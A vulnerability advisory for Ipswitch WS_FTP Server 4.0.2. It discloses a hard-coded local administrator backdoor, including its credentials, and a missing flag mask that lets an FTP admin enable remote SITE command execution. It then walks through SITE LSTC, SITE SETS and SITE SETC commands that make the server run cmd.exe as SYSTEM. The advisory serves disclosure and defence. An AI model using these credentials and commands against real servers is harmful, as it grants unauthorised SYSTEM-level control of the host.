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Advisory Name: Open the WS_FTP Server backdoor to SYSTEM
Impact : Privilege escalation
Discovered by: Hugh Mann hughmann@hotmail.com
Tested progs : Ipswitch WS_FTP Server 4.0.2.EVAL
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Description
~~~~~~~~~~~
Any local user or any remote user who can execute programs on the FTP server
as any user can start programs on the FTP server with the SYSTEM privilege.
Details
~~~~~~~
There are two WS_FTP Server options only the FTP system administrator can
change. When enabled a FTP system administrator can edit user-defined SITE
FTP commands. These user-defined SITE commands execute a program of the FTP
system admin's choice. To protect the FTP sites, these options can only be
controlled by a local FTP system administrator using the iftpmgr.exe
program. It's not possible for a remote FTP system admin to enable these
options through the iftpmgr.exe program. However, it's possible for a FTP
system administrator to enable these options with a special WS_FTP Server
SITE command. Ipswitch forgot to mask out the bits that enable these options
before saving the new Flags when it receives a new SITE SETS (Set Site
Options) command from a remote FTP system administrator.
A "remote" FTP system admin is any FTP system admin using FTP/TELNET to
connect to the server, which includes local users. If the remote user
doesn't have the FTP system admin password but can run a program on the FTP
server as any user, or if the user is a local user, the user can log in as
the FTP system administrator by using a backdoor.
FTP System Administrator backdoor: Any local user, or any remote user who
can run programs on the FTP server as any user, can log in as the FTP System
Administrator by using a backdoor.
RealName: Local Session Manager
Username: XXSESS_MGRYY
Password: X#1833
The user must have an IP equal to 127.0.0.1 and must connect to server IP
127.0.0.1 or the login will fail.
Exploit
~~~~~~~
Use telnet/ftp to log in as the FTP system admin or use the backdoor. Enable
remote editing of SITE cmds/events (exec files). This is off by default, but
can be enabled by a remote ftp admin. First use the SITE List Site Options
command:
SITE LSTC
220
C:\iFtpSvc<\t>C:\iFtpSvc<\t>C:\iFtpSvc\Logs<\t>21< \t>0<\t>1460<\t>0<\t>16384<\t>C:\iFtpSvc\Security< \t>0
<\t> means tab, or byte 0x09.
Write down the 2nd to 8th site options you find there. Change the 5th Flags
option by OR'ing it with 0x180. Now put the 2nd to 8th options on the next
line, each option separated by a tab, except for the first option right
after "SITE SETS" which should have a space just before it:
SITE SETS C:\iFtpSvc<\t>C:\iFtpSvc\Logs<\t>21<\t>384<\t>1460 <\t>0<\t>16384
220 options set
Now iftpmgr.exe can be used to remotely control all site options. I'll show
how to manually add a SITE cmd we can use without using iftpmgr.exe. The
command to do that is:
SITE SETC <HostName><\t>3V1L<\t>cmd.exe<\t>/C echo yup<\t>16
220 site command modified
<HostName> is the first name displayed before you log in to the FTP. 3V1L is
the name of the new SITE command. Flags = 16 means write output to the
screen.
SITE 3V1L
200-Command Started
200-yup
200 SITE command execution successful
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